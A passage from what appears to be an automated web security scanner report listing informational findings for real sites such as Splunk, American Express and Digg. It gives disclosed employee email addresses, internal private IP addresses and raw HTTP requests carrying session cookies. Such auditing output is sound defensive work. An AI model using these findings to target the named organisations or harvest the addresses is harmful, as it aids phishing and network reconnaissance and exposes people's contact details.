Issue detail

The following email addresses were disclosed in the response:

araitz@splunk.com
bhornish@splunk.com
bob@splunk.com
cervelli@splunk.com
dan@splunk.com
dj@splunk.com
fwilmot@splunk.com
hash@splunk.com
jblake@splunk.com
jcollins@splunk.com
jtopp@splunk.com
maverick@splunk.com
ndoshi@splunk.com
sshelston@splunk.com
thewilde@splunk.com
vly@splunk.com
will@splunk.com

Request

GET /view/resources/SP-CAAACGF HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:15:49 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 072fc07ae215a6e48d143720da45faa21296944150
Last-Modified: Sat, 05 Feb 2011 22:15:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 50007

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

25.205. http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/security-and-compliance-solutions/SP-CAAADSB

Issue detail

The following email addresses were disclosed in the response:

araitz@splunk.com
fwilmot@splunk.com
hash@splunk.com
jtopp@splunk.com
mseward@splunk.com
will@splunk.com

Request

GET /view/security-and-compliance-solutions/SP-CAAADSB HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 25bb2160370d07b0dc3016b01495adf21296944011
Last-Modified: Sat, 05 Feb 2011 22:13:31 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37635

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

25.206. http://www.splunk.com/view/services/SP-CAAAFQJ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/services/SP-CAAAFQJ

Issue detail

The following email addresses were disclosed in the response:

araitz@splunk.com
bhornish@splunk.com
bob@splunk.com
cervelli@splunk.com
dan@splunk.com
dj@splunk.com
fwilmot@splunk.com
hash@splunk.com
jblake@splunk.com
jcollins@splunk.com
jtopp@splunk.com
maverick@splunk.com
ndoshi@splunk.com
sshelston@splunk.com
thewilde@splunk.com
vly@splunk.com
will@splunk.com

Request

GET /view/services/SP-CAAAFQJ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:34 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 90ac530bfc3f074c1250334555d3d5921296943953
Last-Modified: Sat, 05 Feb 2011 22:12:33 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 34725

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

25.207. http://www.stumpedia.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stumpedia.com
Path:	/

Issue detail

The following email address was disclosed in the response:

info@stumpedia.com

Request

GET / HTTP/1.1
Host: www.stumpedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.208. http://www.stunnel.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stunnel.org
Path:	/

Issue detail

The following email address was disclosed in the response:

Michal.Trojnara@mirt.net

Request

GET / HTTP/1.1
Host: www.stunnel.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7
Content-Length: 4894
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>stunnel - multiplatform SSL tunneling proxy</title>
<link rel="sho
...[SNIP]...
<input type="hidden" name="business" value="Michal.Trojnara@mirt.net">
...[SNIP]...

25.209. http://www.symbaloo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.symbaloo.com
Path:	/

Issue detail

The following email address was disclosed in the response:

janedoe@emailaddress.com

Request

GET / HTTP/1.1
Host: www.symbaloo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.210. http://www.thumbshots.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thumbshots.com
Path:	/

Issue detail

The following email address was disclosed in the response:

sales@smartdevil.com

Request

GET / HTTP/1.1
Host: www.thumbshots.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 56309
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: .THUMBSHOTSCOMASPXANONYMOUS=15bY_ar8ywEkAAAAYzZlYjIyY2ItNjI4NS00MzNiLTg0MzctYzA4OGRiYmE2ZjIy0; expires=Sun, 17-Apr-2011 02:56:04 GMT; path=/; HttpOnly
Set-Cookie: language=en-US; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 16:16:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<a href="mailto:sales@smartdevil.com?subject=Opportunities at Thumbshots.com">
...[SNIP]...

25.211. http://www.tocka.com.mk/sonovnik.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.tocka.com.mk
Path:	/sonovnik.php

Issue detail

The following email address was disclosed in the response:

marketing@tocka.com.mk

Request

GET /sonovnik.php HTTP/1.1
Host: www.tocka.com.mk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 22:20:05 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.2
Vary: Accept-Encoding,User-Agent
Content-Length: 19960

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

<title>........</title>

<style type="text/css">

<!--

body {

   margin-left: 0px;

   margin-top: 0px;

   mar
...[SNIP]...
<a href="mailto:marketing@tocka.com.mk" class="linkCrn11">
...[SNIP]...

25.212. http://www.vibrantmedia.com/about/contact.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/about/contact.asp

Issue detail

The following email addresses were disclosed in the response:

marketing@vibrantmedia.com
privacy@vibrantmedia.com

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 137797
Content-Type: text/html
Server: Microsoft-IIS/7.5
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:41:20 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Contact Vibrant</title>
<meta
...[SNIP]...
<input type="hidden" id="emailTo" name="emailTo" value="marketing@vibrantmedia.com" />
...[SNIP]...
<input type="hidden" id="emailTo" name="emailTo" value="privacy@vibrantmedia.com " />
...[SNIP]...

25.213. http://www.w3.org/TR/html4/loose.dtd previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.w3.org
Path:	/TR/html4/loose.dtd

Issue detail

The following email addresses were disclosed in the response:

dsr@w3.org
ij@w3.org
lehors@w3.org

Request

GET /TR/html4/loose.dtd HTTP/1.1
Host: www.w3.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:54 GMT
Server: Apache/2
Content-Location: loose.dtd.raw
Vary: negotiate,accept-encoding,User-Agent
TCN: choice
Last-Modified: Fri, 24 Dec 1999 23:37:48 GMT
ETag: "b17a-35c741aef8b00;475d1b7cb20c0"
Accept-Ranges: bytes
Content-Length: 45434
Cache-Control: max-age=7776000
Expires: Fri, 06 May 2011 22:21:54 GMT
P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml"
Connection: close
Content-Type: text/plain

<!--
This is the HTML 4.01 Transitional DTD, which includes
presentation attributes and elements that W3C expects to phase out
as support for style sheets matures. Authors should use the S
...[SNIP]...
<dsr@w3.org>
...[SNIP]...
<lehors@w3.org>
...[SNIP]...
<ij@w3.org>
...[SNIP]...

25.214. http://www.w3.org/TR/html4/strict.dtd previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.w3.org
Path:	/TR/html4/strict.dtd

Issue detail

The following email addresses were disclosed in the response:

dsr@w3.org
ij@w3.org
lehors@w3.org

Request

GET /TR/html4/strict.dtd HTTP/1.1
Host: www.w3.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:48 GMT
Server: Apache/2
Content-Location: strict.dtd.raw
Vary: negotiate,accept-encoding,User-Agent
TCN: choice
Last-Modified: Fri, 24 Dec 1999 23:37:48 GMT
ETag: "8720-35c741aef8b00;475d1b7cb20c0"
Accept-Ranges: bytes
Content-Length: 34592
Cache-Control: max-age=7776000
Expires: Fri, 06 May 2011 22:21:48 GMT
P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml"
Connection: close
Content-Type: text/plain

<!--
This is HTML 4.01 Strict DTD, which excludes the presentation
attributes and elements that W3C expects to phase out as
support for style sheets matures. Authors should use the Stric
...[SNIP]...
<dsr@w3.org>
...[SNIP]...
<lehors@w3.org>
...[SNIP]...
<ij@w3.org>
...[SNIP]...

25.215. http://www.w3.org/TR/html4/strict.dtd/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.w3.org
Path:	/TR/html4/strict.dtd/

Issue detail

The following email address was disclosed in the response:

site-comments@w3.org

Request

GET /TR/html4/strict.dtd/ HTTP/1.1
Host: www.w3.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:58 GMT
Server: Apache/2
P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml"
Vary: Accept-Encoding
Content-Length: 7021
Connection: close
Content-Type: text/html;charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>404
...[SNIP]...
<a href="mailto:site-comments@w3.org">
...[SNIP]...

25.216. http://www1.hilton.com/en_US/hi/customersupport/site-usage.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/customersupport/site-usage.do

Issue detail

The following email address was disclosed in the response:

CopyrightClaim@hilton.com

Request

GET /en_US/hi/customersupport/site-usage.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.217. http://www212.americanexpress.com/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do

Issue detail

The following email address was disclosed in the response:

technologies.group.counsel@aexp.com

Request

Response

25.218. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do

Issue detail

The following email address was disclosed in the response:

spoof@americanexpress.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:44 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=00003fPhgAnCYlfDH1iRr0MTOO2:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 38887

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Fraud Protection Center</title>

...[SNIP]...
<a href="mailto:spoof@americanexpress.com">
...[SNIP]...
<font face="arial" color="#002157">spoof@americanexpress.com</font>
...[SNIP]...

25.219. http://www7.aaos.org/education/courses/course_detail.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www7.aaos.org
Path:	/education/courses/course_detail.aspx

Issue detail

The following email address was disclosed in the response:

custserv@aaos.org

Request

GET /education/courses/course_detail.aspx?ProductId=11859 HTTP/1.1
Host: www7.aaos.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26. Private IP addresses disclosed previous next
There are 26 instances of this issue:

http://answers.splunk.com/
http://au2m8.com/
http://au2m8.com/
https://axptravel.americanexpress.com/consumertravel/travel.do
http://current.com/
http://digg.com/
http://digg.com/submit
http://digg.com/submit
http://eisenstein.dk/loader/qt.php
https://online.americanexpress.com/myca/acctsumm/us/action
https://online.americanexpress.com/myca/logon/us/action
https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm
http://shop.vodafone.de/micropages/cookie-setting-page.htm
http://splunkbase.splunk.com/apps/All/4.x/Add-On/app:Google+Maps
http://static.ak.fbcdn.net/rsrc.php/zq/r/LfCa7NaF9mt.png
http://technorati.com/
http://tools.ietf.org/html/rfc3986
http://www.au2m8.com/favicon.ico
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html
http://www.download32.com/iseu---eu-domain-availability-checker-i24769.html
http://www.facebook.com/BlackBerryZA
http://www.facebook.com/vibrantmedia
http://www.officedepot.com/
http://www.orthougm.com/nslookup.html

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

26.1. http://answers.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://answers.splunk.com
Path:	/

Issue detail

The following RFC 1918 IP addresses were disclosed in the response:

10.10.10.5
10.10.10.6
10.10.10.7
172.16.1.11
172.16.1.12

Request

GET / HTTP/1.1
Host: answers.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.2. http://au2m8.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://au2m8.com
Path:	/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

192.168.100.218

Request

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; path=/
Date: Sun, 06 Feb 2011 13:24:32 GMT
Server: Apache
Last-Modified: Wed, 11 Aug 2010 15:51:56 GMT
ETag: "a80d2-23c-48d8e3aaaff00"
Accept-Ranges: bytes
Content-Length: 572
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

26.3. http://au2m8.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://au2m8.com
Path:	/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

192.168.100.219

Request

Response

26.4. https://axptravel.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://axptravel.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.10.14.1

Request

GET /consumertravel/travel.do HTTP/1.1
Host: axptravel.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.5. http://current.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://current.com
Path:	/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.3.4.67

Request

GET / HTTP/1.1
Host: current.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.6. http://digg.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://digg.com
Path:	/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.2.129.157

Request

GET / HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.7. http://digg.com/submit previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://digg.com
Path:	/submit

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.2.130.24

Request

GET /submit HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:17 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=1168415921484595456%3A180; expires=Mon, 07-Feb-2011 16:01:17 GMT; path=/; domain=digg.com
Set-Cookie: d=706268b26d50b56ff990b1e51250b8f162ce88de7b3b2a5662d7a11ef0986e8f; expires=Sat, 06-Feb-2021 02:08:57 GMT; path=/; domain=.digg.com
X-Digg-Time: D=20834 10.2.130.24
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 7632

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Digg
- Submit a link
</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics
...[SNIP]...
<span title="10.2.130.24 Build: 198 - Wed Feb 2 16:30:12 PST 2011">
...[SNIP]...

26.8. http://digg.com/submit previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://digg.com
Path:	/submit

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.2.129.155

Request

GET /submit HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:19:22 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=1458898097449992448%3A180; expires=Mon, 07-Feb-2011 17:19:22 GMT; path=/; domain=digg.com
Set-Cookie: d=eba08727d55236ed2ae60759e6ff778574fff36acdf54354249c443825dd725c; expires=Sat, 06-Feb-2021 03:27:02 GMT; path=/; domain=.digg.com
X-Digg-Time: D=23177 10.2.129.155
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 7633

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Digg
- Submit a link
</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics
...[SNIP]...
<span title="10.2.129.155 Build: 198 - Wed Feb 2 16:30:12 PST 2011">
...[SNIP]...

26.9. http://eisenstein.dk/loader/qt.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://eisenstein.dk
Path:	/loader/qt.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

192.168.100.208

Request

Response

26.10. https://online.americanexpress.com/myca/acctsumm/us/action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.americanexpress.com
Path:	/myca/acctsumm/us/action

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.10.14.1

Request

GET /myca/acctsumm/us/action HTTP/1.1
Host: online.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.11. https://online.americanexpress.com/myca/logon/us/action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.americanexpress.com
Path:	/myca/logon/us/action

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.10.14.1

Request

GET /myca/logon/us/action HTTP/1.1
Host: online.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.12. https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://rewards.americanexpress.com
Path:	/myca/loyalty/us/rewards/mracctmgmt/acctsumm

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.10.14.1

Request

Response

26.13. http://shop.vodafone.de/micropages/cookie-setting-page.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shop.vodafone.de
Path:	/micropages/cookie-setting-page.htm

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.1.64

Request

GET /micropages/cookie-setting-page.htm?B_ID=667&S_ID=770&I_BOOL=1&tsID=za1049301 HTTP/1.1
Host: shop.vodafone.de
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU4MEMxNDYzNzg2NTk3UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
